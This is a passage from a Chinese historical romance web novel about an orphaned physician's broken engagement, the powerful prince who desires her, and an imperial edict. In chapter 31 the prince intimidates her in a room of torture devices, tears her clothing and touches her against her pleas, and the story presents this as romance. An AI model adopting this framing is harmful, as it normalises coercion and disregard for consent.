睁眼就瞥见床边的半夏,会心一笑:“府上一切可好?” “都好。”半夏扶她起身,“王爷腿疾痊愈,大少爷又高中探花,两件喜事已传遍燕京城,祝贺之人快将府上门槛踩烂了。” 她绘声绘色描述:“您是没瞧见,千竹堂高朋满座,水泄不通” “大小姐这会,可羡慕姑娘了。若非那位侍卫拦着,她都想一起跟过来躲清静了呢。” “看来表姐她恢复得不错,这般我就放心了。” 华姝微微一笑,脸色略显一丝惋惜。她倒希望霍千羽跟过来,到时候霍霆有所顾忌,总归会收敛几分。 思及晌午在书房的耳鬓厮磨,脸颊又是一热。 她清了清嗓子,试着转移注意力:“如此说来,府上得筹办宴席了吧。” 半夏为她倒杯温茶润喉,“姑娘跟老夫人当真心有灵犀。老夫人吩咐,此次宴席要大操大办。既是庆祝大少爷高中,也要庆祝王爷腿伤恢复。” 华姝轻轻颔首,倒不意外。 早在霍霆封王归京时,就要筹办宴席的,后来见他腿伤未愈,一切就从简了。如今喜上加喜,的确值得热烈庆贺。 并且按照大昭的风尚习俗,还将是一场相亲宴。历来科考的前三甲,都是炽手可热的佳婿人选。 而霍霆作为万中无一的异姓王,洁身自好到连个通房都没有,更是凤毛麟角的存在。 就算老夫人不急,整个燕京城的贵女们也肯定坐不住了。 正是鉴于此,华姝才会答应霍霆。说不定到时,她悄悄离京这条“死路”,就能出现生机。 第30章 下聘 华姝在城郊别院住了两天三夜, 背后的擦伤悉数消肿,乘坐马车不再酸痛,霍霆才准允放她离开。 早膳后,两人一道乘马车出门。 林晟随霍霆去城北的军营调配解药, 半夏陪华姝回府, 明面上长缨驾车, 暗处濯缨相护。 进府时走的角门。 霍宅正门的一整条前街,都停满了前来拜会贺喜的马车, 绫罗红顶,雍容华贵,络绎不绝。 华姝虽从半夏口中已听闻,但真亲眼见到时,还是被这空前绝后的热闹场面给惊叹到了。 “咱们霍府,可是今非昔比了呢。”霍千羽一听闻华姝回府,就寻来月桂居了,“母亲她们在前厅待客,挂念你又不好走开, 让我先过来瞧瞧。” 她扒拉着华姝, 转着圈一顿检查, “可还有哪处伤着?” “都好都好,我可是女神医呢, 不会亏待自己的。”华姝俏皮一笑, 推着她坐到窗前的矮榻处, 先为她简单诊脉, 而后给两人各倒了盏茶。 茶叶是霍家大房前日收到的贺礼,顾渚紫笋,上等贡茶, 比那血燕还千金难求,往日的霍府从未见到过。 但华姝想,真正金贵的,恐怕不是霍玄的新科状元。 而是霍霆的双腿。 能驾驭千军万马的双腿。 进院子时,她注意到,对面的清枫斋大门紧闭。霍霆不收,大房那边想必就人满为患了。 霍千羽没急着喝茶,她比较关心绑匪的事,“四叔后来可有查到什么?” 华姝摇头。 霍千羽不禁拧眉,“会是谁呢?母亲和二婶娘都怀疑是宋家,但父亲和二叔派人私下查了,近日宋府上下没接触过什么可疑的人。” “应该不是宋家。”华姝转睛思忖,“你不是听到,绑匪说收了三百两黄金么?我和宋家那点过结,远不够上这么大的仇怨。” “哎你说,会不会是……不对,若是那帮山匪的话,他们自己就直接动手了。” “那还能有谁?”霍千羽眉头拧得更紧,“你平时大多跟我结伴出门,鲜少与人龃龉。前阵子在回春堂问诊,更是广结善缘,按理说不应该啊。” 华姝也想不通。她一介孤女,无权无势无财,有什么值得旁人重金谋算的? “再等等四叔吧,他说有查获会第一时间告知我们。” “还好有四叔,要不然那日后果不堪设想。”霍千羽隔着茶几拉住华姝的手,反复叮嘱:“没抓到主谋之前,你还是少出门吧,太吓人了,真的要吓死我了。” “我今早本来都想带护院去接你的,可祖母说四叔的别院涉及军机要事,无令不准进。”她不解:“有那么严重吗?” 华姝神情滞了下,低头敛着茶沫子,“我一直在屋里养伤,没太注意。” 看来祖母知道些什么。 竟连表姐都不准去。 那座古塔,似比想象中更为机密。 她误闯进去,他一句叮嘱都没有。 就那么信任她吗? 已经骗过他一回了,若是这回再瞒着他逃走的话…… 华姝暗叹了口气,忽然想到什么:“祖母那边,你们没提我受伤的事吧?” “四叔亲自去说的,借你去给军医打下手。”霍千羽抓了把瓜子,“回头你稍微圆一圆就成了,她老人家这几日忙着给四叔相看王妃呢,估计不会多想。” 华姝心道,果然,“那相看得如何了?” “祖母摸不准四叔的喜好,还在犹豫。”霍千羽边嗑瓜子,边问:“姝儿你说,像咱四叔这种横刀立马的沙场将军,会喜欢小家碧玉的呢,还是那种舞刀弄剑的?” 华姝眨了下眼,“祖母没问他本人吗?” “祖母说,这几日都逮不着他人。”霍千羽抿嘴嬉笑:“我在想,四叔总不会是害羞了吧?” 华姝也笑,难怪那人想拉着她一起住在别院,合着是躲清闲呢。 * 两人又品茶谈笑了会,紫笋茶不愧是茶中极品,甘甜爽口,竹香与清香并存,好喝得令人咂舌。 临近午膳,估摸着宾客走得差不多了。华姝送霍千羽回去,让白术从她私库挑了套文房四宝一并带上。 湖笔、宣旨、徽墨、龙尾砚,皆是当代文人崇尚的上乘佳品。 行至白鹭院的门口,恰逢霍玄出门。 湛蓝晴空下,新晋状元郎仍是一袭低调儒雅的鸦青长衫。恰逢少年得志,清雅的眉眼间,尽显神采奕奕。 望见她们,他加大步子迎上来。 华姝笑着将贺礼奉上,“还未来得及恭贺表兄蟾宫折桂,一点心意不成敬意。” “我刚回府,正欲去寻你。”霍玄仔细接过礼盒却没翻看,转手交与书童,反复上下观瞧她,低声连问:“伤势可大好了?手上备的药还够吗?” 少年的眸光专注而忧切,华姝被柔柔笼罩其中,嘴角笑意却是僵了僵,“多谢表兄挂念,业已无大碍。” “那就好。你们原是为我殿试去祈福,偏偏我什么忙都没帮上,让你受苦了。”他如玉的俊颜上勾描着大片心疼,逐渐晕染为浓浓的责与愧。 身为霍家嫡长孙,霍玄又比同龄人多了份温容沉稳:“不过表妹莫怕,我同窗的兄长在京兆府任值,已托他在暗中调查了,想必很快能缉拿到真凶。” “表兄费心了。”华姝谨守礼数,道谢:“我这几日尽量无事不出府,家中有几位叔伯你们的庇佑,想来贼人也不敢再造次。” 霍玄瞧着她浮于表面的浅淡笑意,欲言又止:“其实你……”不必与我这般客套。 他转头看向一旁的霍千羽,“长姐去请母亲再加一副碗筷吧。” 霍千羽大抵猜出他要说什么,临走前笑眯眯打趣了句:“是了是了,我这个外人……马上原地消失。” 闻言,霍霆耳朵倏地红了。 华姝瞧得分明,悄声摆手示意白术也走远些。 她想,霍玄正值说亲的好时候,趁着今日早些说清罢,也免得误了他的姻缘。 只剩两人后,秋风安静下来。正是炊烟袅袅时分,天幕朵朵白云也在慵懒地倒趴着。 霍玄温柔凝着华姝,还没开口,耳廓先红了一圈,似比殿试时还紧张。 “姝儿,”他试探着喊了声她的闺名,见华姝未露反感,少年低落的眉眼清明灿烂起来,“殿试前的约定,你还记得吧?” 华姝轻点头,“但我听闻好多世家贵女都属意表兄,你不若就……” “没有的。” 霍玄不安地打断她,急切解释道:“我的心意已向祖母和母亲言明,她们很欢喜也很支持,替我将那些女眷们都婉拒了。” 他又想到什么,“至于你今日瞧见的那些宾客,全是奔着四叔来的,与我并无干系。” 华姝才没心思管到底谁成了香饽饽。 她愣住一瞬,更震惊他行动之快。不过离府两日,竟连祖母都告知了。 华姝忙不迭开口,怎料先传来一道熟悉的沉声:“谁全奔着我来的?” 两人齐齐扭头看去。 霍霆不知何时回府的,正负手立于不远处的拱门前。他身形高大挺拔,让门旁的两排青竹都逊色不及。 两人心里一惊,忙拱手见礼。 “四叔。” “王爷。” 霍霆款步走近,黑眸幽沉浓郁,连头顶的橘色暖阳都化散不去,“天这么冷,怎么站在这聊?” 霍玄上前一步,“回四叔,我们在聊……” “我们在聊该备些什么贺礼,恭喜王爷腿疾痊愈。” 华姝罕见地没规没矩打断了旁人的交谈,低眉垂首,心中狂跳,生怕霍玄会拆穿她。 好在霍玄的性子素来温善,只当她面皮薄,遂顺着话茬道:“近日多有贵客来向四叔恭贺,我们作为家里人,理应也该为您略备薄礼。” 华姝浅浅松了口气。 霍霆淡淡环顾两人,目光晦暗不明,最后落在华姝身上。 秋风萧萧,吹拂起她的荷叶裙摆,和肩头青丝,趁得清瘦的身形越发单薄。 霍霆眉峰微蹙,“伤没好利索,少吹风。” 华姝心跳再紧,赧颜轻声应“是。” 一旁,霍玄听得莫名古怪。 可他见霍霆脸色冷肃,语气似是长辈对晚辈的管束训斥,又觉得自己小题大做。 不待细究,霍霆已先往院内走去,吩咐道:“来你父亲书房。” 霍玄不敢违令,与华姝稍作辞别,一路跟在后面。 * 书房内,大老爷霍雲、二老爷霍霄、三老爷霍霈早已恭候多时。 霍雲请霍霆上座后,又命霍玄关紧房门,才坐回右侧下首,“澜舟,今日请你们过来,主要事关玄儿的官职,我们都想听听你的意思。” 霍霆浅饮了口清茶,放下杯盏,道:“我多年不在京城,又是武将,朝中文臣的官职还是二哥多为熟悉。” 二老爷霍霄,时任正四品工部侍郎,稍压长兄一头,坐在霍霆的左下首。 他介绍道:“按照往年惯例,科考前三甲要先入翰林院担任编修,贤能出色者,来日或能问鼎内阁。” “但我等观皇上殿选的态度,一则偏重水文治理的实干细节,二则,”他顿了顿:“二则已对我霍家起了提防之意。” “是以,”三老爷霍霈接话道:“我与两位兄长商议,先将玄儿调去地方积累实干政绩。待京城风头过了,再进六部谋个有实权的差事。” 霍雲:“澜舟,你看这般安排是否可行?” 霍霆不置可否,越过霍雲,看向霍玄,“你自己何意?” 霍玄起身拱手,“回四叔的话,家族兴荣为重,侄儿愿意前往地方赴任。若是可以择选,侄儿想进户部下设的清吏司。” 他解释道:“您与兵部交好,二叔任职工部,父亲任职吏部,三叔任职礼部,平日免不得与户部往来。侄儿若能在清吏司安定下来,日后或能传递些内情,略尽一二分绵力。” 霍霆颔首,“后生可畏。” 霍玄谦逊一笑:“四叔谬赞。” 霍霆看向其他三人,“但此事我另有筹划,尚不能定论。三位兄长,且再略等我几日。” 几人自然道好,见霍霆起身,随即起身恭送。 霍霆行至书房门外,忽而顿足,回身又瞥了眼霍玄,“既已入仕为官,就该扛起家族重任,切莫再整日儿女情长。” 霍玄怔了怔,诚惶诚恐:“是,侄儿必谨遵四叔提点。” * 霍霆在白鹭院,华姝不好直接进去跟大夫人表明态度。想着她的婚嫁大事本就由老夫人做主,直接改道来了千竹堂。 窗前的软塌上,老夫人正为霍霆遴选王妃一事叹气,连午膳都没胃口用。 一见到华姝顿时欢颜,拉住她手坐到身旁,“姝儿可算回府了,来得正是时候,快帮祖母一道瞧瞧。” 华姝瞧向对面的屏风,悬挂的十几幅小像一字排开,甄选下来的贵女,无一不出身名门望族,花容月貌,仪态万千。 “皆是秀外慧中的姐姐,姝儿才疏学浅,不敢妄言。” 唯恐迟则生变,她很快转至正题:“孙女今日来寻祖母,是为着自己的婚事。” 老夫人听完更乐呵:“都听你千羽表姐说了?往后祖母就要改口,唤你孙媳妇咯。” 桂嬷嬷等人亦是忍俊不禁,“可不是嘛,老夫人与表姑娘这天生的祖孙缘分,谁都分不开。” 众人越欢喜,华姝心头压力越大。 她搓了搓指尖,站起身,面朝老夫人郑重福身行了大礼,“祖母,恕姝儿不懂事,要拂了您一片好意了。” 老夫人是过来人,脸色僵了一瞬就寻思过来,拉着华姝重新坐下,“好孩子,可是心里头还梗着那山匪之事?” 她语重心长:“我和你大伯母自是信你、疼你的,此事也是玄儿自己主动提的。你是没瞧见,祖母应下后,他当时是有多欢喜。你了解他,他爱重你,还能免去旁人家的婆媳、妯娌烦扰……你再回去想想,过几日给祖母答复。” 全程一句重话都没有。 且句句都在替她这个外来的表孙女着想。她却一次又一次蒙骗她老人家,华姝愧疚地红了眼圈。 这世间总是太多造化弄人。 偏偏让她在深山撞见他,偏偏他们同住一个屋檐下,偏偏他……不肯放过她。 饶是霍玄这门姻缘再好,华姝也不敢应。 她缓了缓,逼退眼泪,“祖母是为我好,姝儿都懂。但表兄以后是要做清流文臣的人,甚至下一代霍家家主,他该娶个清清白白的世家贵女,助于前程。” “浑说。咱霍家的门庭,犯不着拿子孙婚配做买卖。祖母只问你,你自己想不想嫁与玄儿?” “不想。” “那就是另有心仪之人了?” “……没有。” 华姝开始心慌慌,唯恐真被瞧出什么,她撒娇地把脸埋进老夫人怀里,“祖母,姝儿不想嫁人了,姝儿就想一直陪着您,好不好嘛。” “越发浑说了。”老夫人重重叹口气:“我这副身子骨还能陪你几年?届时你身边没个知冷知热的人,我都无颜……无颜去下面见你亲祖母哟。” “其实,我有考虑过重振华府。”华姝试探道。 老夫人沉默良久,“且说来听听。” “华家祖训有言,哪怕只剩一人,也当以治疾万民为己任。到时候我多收些徒弟,不仅能让我祖母、父亲他们含笑九泉,我自己也能老有所依。” 就是不知在京城,还是远走他乡、隐姓埋名了。 老夫人又是良久沉默,低头慈爱而复杂地端详着华姝,“咱家姑娘长大了,颇有你祖母当年的风范了。” 华姝欣然搂住老夫人的脖子,亲昵蹭着,“多亏祖母心善收养我,姝儿也要多行医行善,佛祖会保佑我们都长命百岁的。那此事,咱就这么说定咯?” “你这张巧嘴哟,”老夫人佯怒掐了掐她脸蛋,“惯是会哄我这个老婆子。此事祖母得再好生思量思量,免得又被你绕进去。” “您又被谁绕进去了?”霍霆挑帘进屋。 华姝忙规矩起身,行礼问安。 老夫人则背过身生闷气,“净是些不省心的。” “儿子近几日确实抽不开身,这不一忙完就来看望您了。”霍霆坐到老夫人对面,笑道:“您若不信,可以问问姝儿。” 老夫人:“哼,我们姝儿才不与你一起扯谎呢。” “是么?”霍霆转脸看过来。 华姝:“……” 有两人陪着说笑谈天,老夫人总算肯用午膳。桂嬷嬷忙去张罗了一桌开胃的精致小菜。 老夫人还在软塌上,霍霆和华姝一左一右坐在圆凳陪着。 用膳时,免不得提及遴选王妃一事。老夫人苦口婆心:“霆儿,你倒是给为娘交句底。” 霍霆缓缓放下玉箸,道:“不敢瞒母亲,儿子确有合适人选了。”边说,边往右边侧了侧头。 华姝心尖一跳,头越埋越低。 说好一个月,他不会今日要挑明吧? 老夫人顿时喜笑颜开,一时没顾得上华姝的异样,“何时定的?怎么从未听你提起?是哪家的姑娘?娘这就请媒人为你提亲去。” “不急,人家姑娘说要考虑考虑。” 说话间,梅红金丝团纹的桌布下,大掌捉住一只小手。 华姝浑身的血液都凝固住了! 她余光仓皇偷瞟四周,幸好,幸好屋里只留了桂嬷嬷在老夫人身旁伺候。 随即无声用力抽手,奈何纹丝不动。 这个人,他居然…… 上首,老夫人还在替霍霆打抱不平,“谁家姑娘如此倨傲?你堂堂正一品亲王,金尊玉贵,三书六聘迎娶正妃,还能委屈了她不成?” “是一个清流人家的姑娘。”霍霆握了握掌中的酥软小手,十指相扣,“待此事敲定下来,儿子就带她回南边封地了。” 华姝又羞又急,心快跳出嗓子眼了。 手怎么都抽不出来,她稍稍偏头,朝他疯狂使眼色。 怎奈那人有恃无恐,不为所动。 老夫人还在恋恋不舍,“这就又要走了?”她垂垂落下筷子,“一走就七八年,好不容易回来,怎么都得过个团圆年再走吧?” “母亲,”霍霆默了默,言简意赅道:“古往今来,从未有过一门五子全在京城当差的先例。” 老夫人恍惚一瞬,眼神复杂地瞧向华姝和桂嬷嬷。 华姝也愣了愣,她不懂朝政大事,但树大招风的理儿还是懂的。 再看向身侧的男人时,脸色也五味杂陈。 结果回应她的,是男人泰然自若地,把她左手每一根指腹都捏了一遍…… 酥酥痒痒,挠人心肠。 桂嬷嬷那边,笑着朝老夫人点点头。 老夫人百感交集,“儿啊,难为你了。” “母亲治家育子有方,儿子也深受裨益。”霍霆道:“玄儿那孩子清慧沉稳,这份才情,来日可期。” 老夫人深深颔首,喜极而泣,接过桂嬷嬷递来的帕子揩起眼泪。 华姝终于等到机会,“祖母为我们这个家着实劳苦功高,王爷,”她侧过身,似笑非笑地盯视他,“不若我们一同敬祖母一杯吧?” 霍霆神色如常:“也好。” 然后,换他左手端起了酒盅。 华姝:“……” 好在后面有丫鬟端着新菜进门,霍霆没再吓唬她,及时松开手。 两人之间,这场悄无声息的风月秘事,总算有惊无险。 华姝的心又砰砰跳动了会,才堪堪回落,白皙小巧的耳垂仍余有点点绯红。 霍霆不着痕迹扫过一眼,眸光微动。 秋日晌午的阳光,如橘色的蜜,透过雕花窗棂细碎地摇曳进屋,温柔洒在桌上、人的脸庞上,暖意融融。 一顿午膳,祖孙三人都多进用了小半碗饭。 膳后正饮清茶时,丫鬟来通禀:“王爷、老夫人,大太太来了。” 华姝喝茶一顿,重新升起不好预感。 与此同时,大夫人已被请进屋。 “母亲……澜舟也在。”她言笑晏晏朝霍霆点头致敬,“那正好,一起帮我瞧瞧玄儿这份下聘礼单,仪制方面万不能越过他四叔的。” 说着,就将手中的红纸礼单翻开,规规整整摊在霍霆手边的茶几上。 老夫人欲言又止看了眼华姝。 华姝已慌得六神无主,连起身行礼都给忘了。 另一边,霍霆不好拂了长嫂的颜面,象征性拿起礼单阅览,“嫁娶为大,无需顾忌我,回头再从我私库添置些。” 大夫人笑吟吟瞧向一旁的华姝,“从小到大,你四叔果然最疼姝儿。” 空气滞住一瞬。 霍霆缓缓抬头,“……谁?” 四目相对,华姝额角冷汗涔涔,瞳孔孱颤。 这一幕落在霍霆眼中,答案不言而喻。他定定凝着她,周身气压寸寸寒沉。 礼单的大红纸角,被握在适才十指相扣的右掌中,悄然开裂。《 》 30-40 第31章 他撕开她衣领 在别院的两天三夜, 霍霆大多时温和含笑,华姝本来已经没那么怕他。 然而此刻,那双黑眸温度褪尽,就好似幽深的冰湖。她坠入其中, 瞬时窒息沉溺。 华姝喉头干涩吞咽。 还是被他知晓了。 与霍玄这场本就不会存在的婚事, 终究还是被引爆, 硝烟四起。 午膳时他才跟祖母笃言,要带她回南边, 此刻又会想什么呢? 男人已敛下眸,打量着那份大红礼单,神情晦暗不明。 没再追问一句,但那不怒自威的磅礴气场,稍一变化,在场所有人都隐感寒意。 大夫人笑容僵了僵,眼神求助地看向老夫人和华姝,甚至桂嬷嬷,但她三人皆在为华姝想退婚的事失神愁思。 “母亲, 可是我这准备的聘礼逾矩了?”大夫人左思右想, 着实没想出别的可能。 “大伯母。” 华姝又隔空望了望那人, 强撑着椅子扶手站起,朝大夫人郑重福身, “恕姝儿不懂事, 怕是要辜负您一番心意。” 大夫人猝不及防:“什么?” 霍霆重新看过来。 华姝顶着压迫感, 深吸一口气, “怪我先前没早些言明,我一直拿表兄当亲兄长,并无男女之情。” 大夫人错愕住, “你们先前不都商议好了?待殿试完就成婚?” 她又想了想,“可是午膳前,玄儿言语无状冒犯了你?”她拉住华姝的手,“你莫气,大伯母这就替你撑腰去。” 华姝没动,“表兄人很好,不曾责难于我。” 她明显感觉,霍霆投来的那道寒凛目光愈加迫人。但事已至此,也只能硬着头皮道:“是我不够好,是我……” “你哪里不够好?”霍霆突然沉声开口。 华姝呼吸骤紧,不敢再说下去。 她略作思忖,将话题扯远:“是我出尔反尔,想回华府重开医馆,暂时没了成婚的打算。” 大夫人愣了下,转而笑道:“害哟,我当啥事呢?成婚后你也照样能开,咱家没那么多规矩,回头千羽还去给你帮忙。” 华姝无措地抓紧裙摆,“可……” “罢了,我来说。”老夫人叹道。 她比大夫人更希望促成这门婚事,刚刚几番犹豫,还是希望华姝能有所转圜。但见华姝坚持,还当着霍霆这位叔叔的面,总不好再让姑娘家自揭伤疤。 老夫人:“姝儿在外奔波数日,早些回去歇着吧。” 华姝行礼应是,在大夫人不解和不舍的目光中,满怀愧疚地退出屋子。 晴空亮得刺眼,可当她迈过门槛时,脊背莫名激起一片冷凉的颤栗。 她扶着白术,脚步浮虚地走回月桂居,跌坐在软塌,指尖仍在发抖。 “半夏,半夏?”华姝唤道。 白术进来,“姑娘您忘啦?半夏外出采买药材还未回。” 华姝后知后觉,“去将那对白色古玉的玉如意取来,晚点随我去给大伯母赔礼。” 白术诧异:“那可是您最值钱的宝贝了。” 华姝:“去吧。” 白术出门后回望了眼,窗前映出一道清瘦的倩影,纤弱如柳,也硬挺似竹。无边的桂花纷纷扬落,那身影始终一动未动。 在华姝看来,玉帛易偿,心火难平。 她自知该去向霍霆解释一二,然而这会脑子乱哄哄的,坐立难安。 只怕他这回……不会轻易宽恕她吧。 不知过去多久,窗外响起半夏的声音:“姑娘呢?” 白术对此前发生的事似懂非懂,遂照实陈述一遍。 片刻后,半夏轻声推门而入,将一壶安神茶放到茶几上,“姑娘,奴婢回来了。” 华姝连饮两盏,苍白脸颊才恢复些许血色,“事情办得如何?” 早在别院,华姝就在思量离京一事。正好半夏的表舅在京郊县衙当捕快,对伪造户籍、路引有些门路。 “说是最好挑人头多的时候,使些银钱,浑水摸鱼办上两份。日后真查起来,一时半会也难分清,究竟谁顶了谁的假名。”半夏压低声音道。 华姝点头,“言之在理,但留给我们的时间不多了。” 半夏:“奴婢明白,过几日就再去催催。” 果然,刚说到这,白术就进来通禀:“姑娘,王爷派人来请您过去一趟。”她顿了顿,“说是要给您……添妆。” 秋风乍起,廊下的紫竹风铃泛起“叮叮”冷音。 * 清枫斋 长缨推开东厢的门,“表姑娘请。” 华姝走进去,身后的门应声阖紧。 三间大的厢房,霎时昏暗一片。 此处是霍霆的私库,似是有些古玩字画怕晒,窗户全罩住黑纱。唯有两扇门扉浅浅透着微光,空气中的薄尘若隐若现。 她眼睛适应了会,看清屋内陈设。 足足十几排博古架,无一空置,寻常人家可能一辈子都难以攒足的奇珍异宝。 也难怪连老夫人都赞叹“堂堂正一品亲王,金尊玉贵。” 可华姝惴惴不安,无暇顾及这些。 “王爷?”她缓步经过一排排博古架,小心试探唤道。 想不通霍霆为何召自己来此。 祖母已答应退婚,他又要替谁添妆? 昏沉的暗房,传来阵阵回音。 只有她一人的脚步声。 黑洞洞的四周,像是无尽深渊在凝视她,吞没她。 诡异的异样感越来越浓重。 华姝后颈的汗毛竖起,蓦地转身。 霍霆负手站在阴影里,目光沉沉,眉峰如刀削般绷紧。 华姝心跳漏了一拍,脚步止不住地后退,“王、王爷,我可以解释,事、事情并非您听到的那般……” “我听到的,不都是你亲口说的?”男人似笑非笑。 华姝的心越发坠坠没底。 偌大暗房内,她退一步。 他就进一步。 她的心就更揪紧一分。 他道:“午膳前在商讨贺礼。” “……不是。” 他又道:“深夜他绕路去回春堂接你,只是出于兄妹之情。” “也不是。” “那把匕首呢?”他加重语气:“你们的定情信物!” “不是的!我……”华姝的后脊忽地撞到什么,刺耳清脆的铁链声“哗啦”作响。 不知不觉间,两人已行至屋子尽头。这一排没有博古架,取而代之的是十几件刑具,指枷、老虎凳、倒钩皮鞭、虿盆、桎梏、枷锁……利刃寒凛,削铁如泥。 华姝瞳孔微缩,缓缓看向身后。 是人形的十字木架,两条腕粗的铁环正悬在她肩头,随着呼吸在冷铁上刮出细碎的嘶鸣。 一度叫她没了呼吸,忘了回头。 但很快,下巴被他钳制住,硬生生转过脸来。 昏暗的视线中,霍霆眼中翻涌着浓郁的黑,喉结微微滚动:“我给你留退路,不是让你来试探我底线的。” “刺啦——” 华姝的衣领被应声撕碎,光洁的纤颈露出来,没有一丝多余的赘肉。白皙肌肤,嫣红色小衣的细带鲜艳夺目。 滚烫的大掌轻抚而上。 所到之处,烫得华姝战栗连连,分不清是羞还是怕。她止不住地摇头,望着他颤声哀求:“王、王爷,别……” 男人置若罔闻。 粗粝的指腹下移,缓缓碾在她细腻的肩窝处。 那里嫣红一点,似颗小巧的美人痣,与小衣的绳带交相辉映。 ——是华姝完璧无瑕的守宫砂。 当年还是华府小霸王的她,年少贪玩,点朱砂时也闲不住一点。以助于守宫砂没点在手臂,而是不慎落在右肩的肩窝。 深闺之事私密,肩窝的位置也私密。 世间知道此事的人,屈指可数。 也大多亲密非常。 霍霆没有进一步动作,就那么轻拢慢捻着那颗朱砂。 可每一下摩挲,无不在提醒华姝,自己曾与这位四叔不清不楚,自甘轻贱。像她这般失了清白的女子,再配不得那清风霁月的状元郎。 苦涩的泪淌进嘴角,华姝喉头哽咽:“我有自知之明的,从下山后就与表兄鲜少来往。婚约没退干净,是怕搅扰他的殿试。” 霍霆动作微顿,目光落在她泪水斑驳的脸上,讥诮扯唇:“定是恨极了我吧?拆散了你们的郎情妾意。” 华姝含泪垂眸,“山里是我自己主动的,我认。” “怎么个认法?”他冷哼:“就是让你丫鬟背地里去找人伪造户籍?” 华姝愕然僵住。 半夏是以采买药材的寻常缘由出府,接头时自是万般谨慎。结果还不到两三个时辰,他就……好半晌,她迟缓仰头看回去,满脸不可思议。 是那个叫濯缨的暗卫跟踪半夏? 又或镇南王势力庞大,眼线极广? 再或她表舅说漏嘴、出卖她们? “不必猜了。” “寺中真凶未捕,我给你增派了二十名暗卫。” 霍霆居高临下谛视过来,目光如淬毒的银针,洞悉着她所有的心思。 仿若山巅鹰隼,在睥睨足下的蝼蚁。 华姝唇瓣颤抖,张了张,却感觉不管再说什么都显得苍白无力,都不足以消解他眼底的熊熊怒火。 她余光扫过那些尖锐狰狞的刑具,最终认命开口:“丫鬟听令办事,一切错处都在我。华姝……任凭王爷处置。”说罢,无力闭上眼,两行清泪滑落。 黑暗中听觉被放大,却是一段冗长的平静。 就连悬在肩头的铁环也止了声。 她不知道霍霆此刻在想什么,但知道他还在看自己,那股无形的威压一直笼罩在她面门上,经久未散。 忽然这时,门外传来长缨急促的脚步声:“禀告王爷,宫里来人传旨,二老爷请您尽快前往议事厅。” 霍霆:“何等旨意?” 长缨:“未曾言明。” 霍霆默了默,细碎的布料磨蹭声响起。 宽大外袍包裹住华姝半露的香肩,布料还余有男人的体温。 她诧异睁开眼,见他脸上恼愠似是消减几分,小心翼翼询问:“您、您不生气了么?” 红肿的眼尾还沾着泪,鼻音浓重,惨白小脸可怜兮兮的。 霍霆面色不虞,冷眼深深瞧了她一瞬,转身款步出门。 华姝缓上几息,才两腿发软走出来。 长缨目不斜视守在门口,双手奉上一把黄铜钥匙。 “……这是?” “此乃东厢房的钥匙,王爷命属下交予您。” 华姝呼吸微滞,回看一眼满屋子的金银珍宝,后知后觉想起先头的那一句“添妆”,“太过贵重,我不能收。” “表姑娘就别为难属下了。”长缨的眼珠子叽里咕噜地飞转,“不若您晚点再来寻王爷,亲自当面谈?” 后续确实还要再谈的,华姝也不想连累长缨为难,犹疑一瞬,接过沉甸甸的钥匙。 她转而想到什么,“那屋中的刑具,也要交与我保管?” “害,刑具是暂且废弃在那的,赶明属下命人搬走。”长缨问:“刚没吓着您吧?” “……” 华姝欲哭无泪,吓得可不轻呢。 * 日薄西山,圣旨来得突然。 赶上霍宅四位老爷皆休沐在家,闻讯后不敢耽搁,纷纷携房中的妻儿、奴仆到议事厅集合。 华姝换好一套齐整的米白对襟襦裙,亦是带着半夏和白术,匆匆前往。 议事厅前的空地处,霍府一百多人浩浩荡荡而立。以霍霆为首,三位老爷和老夫人略靠后半步。然后依次是三位夫人、霍千羽和霍华羽姐弟、阮糖、仆从侍卫们。 华姝躬身穿进人群,排到阮糖身侧,暗幸及时赶上了。 她悄然抬起眼帘,看向站在台阶上的宣旨之人——是他。 在皇龙寺偶遇的裴督主。 一字排开的东厂番子正前方,裴夙撑着水墨画纸伞,飞鱼服在晚风中飒飒舞动。 他居高临下而立,很容易就能瞟见迟到的小徒弟。 裴夙勾唇,她这惫懒不着调的性子,越发深得他的真传了。 “裴督主,天色已晚。” 这时,霍霆沉声提醒。 “是啊,天色都这么晚了。”裴夙慵懒地望一眼橘光晚霞,“状元郎怎得还迟迟不归?可叫陛下久等啊。” 以下犯上之罪,霍家可万万不能担。 霍雲上前半步,“裴督主,您刚说镇南王不便同时领取两道圣旨,不若就由下官替犬子接旨如何?” “呵呵……”裴夙轻笑出声:“今日这道圣旨,换谁都不好替领。诸位,且等着吧。” 他表情有多云淡风轻。 霍家上下的气氛就有多低沉忡忡。 华姝来得晚,听了大概。 裴督主身后的侍卫托着两道明黄圣旨,一道是霍霆的,一道是霍玄的。 貌似旨意不同寻常,按他的意思,霍玄何时回府何时宣旨。 若是耽搁了回宫复命,龙颜震怒,一应罪责全得由霍家来担。 华姝不禁拧眉,何等旨意非要本人领取? 她望向笑眯眯的裴督主,暗啐,果然会咬人的狗都不叫。 若有机会,定要让他试试师父的独门泻药,看他还笑不笑得出来。 天边晚霞的橘光一点点黯淡,霍家人的脸色也一点点凝重。 不时有小厮回来低声复命,都说未寻着霍玄。 眼见天光褪尽,霍霆再度沉声开口:“来人,备马。” 他高大身形上前一步,与台阶上的裴夙亦能分庭抗礼,“我霍家接旨不利,本王入宫请罪,裴督主可要同往?” 裴夙微挑眉,“王爷好魄力啊。” 萧萧夜风中,两人目光无声对峙。一黑一紫,两道狂狷的衣摆猎猎作响。 各自身后的护卫,皆是齐齐握紧剑柄,严阵以待。 华姝等人的心霎时悬到了嗓子眼。 剑拔弩张的气氛,一触即发。 好在这时,大门外霍玄飞驰而来,“吁——” 他勒马立在长街,月白袍角翩翩如新雪,金线绣的麒麟在晚霞下灼灼生辉。腰间玉佩随马蹄轻晃,惊飞阵阵晚鸦。 少年神采奕奕,疏俊的眉眼点染出几分风流,似从水墨画里走出来一般。 众人不禁长长舒了一口气。 来不及问清他外出贪晚的缘由,先急急叫到人前接旨。 霍玄略靠后半步,站到霍霆右侧,一道撩袍跪地恭听圣意。 他心中猜测,多半是自己的官职任命下来了。 指腹不由碾了碾袖中的物件,是一柄改良过的袖箭。 样式草稿由霍玄亲自构想,以华姝随身携带的银针,代替传统的短箭。更轻巧,更便捷。 得知皇龙寺事故后,他就连夜拿去京城手艺最好的工匠铺子赶制,今日傍晚堪堪做完。 霍玄眉眼间溢满温柔的笑,官职有了,定情信物也有了,正好随聘礼一道呈与他的姑娘,他的妻…… “奉天承运,皇帝召曰: 朕闻新科状元霍玄,才冠群伦,德昭日月,文章炳蔚,气度雍容,实乃国士无双。今福佳公主,毓质天姿,温婉娴淑,正待择佳偶以配良缘。 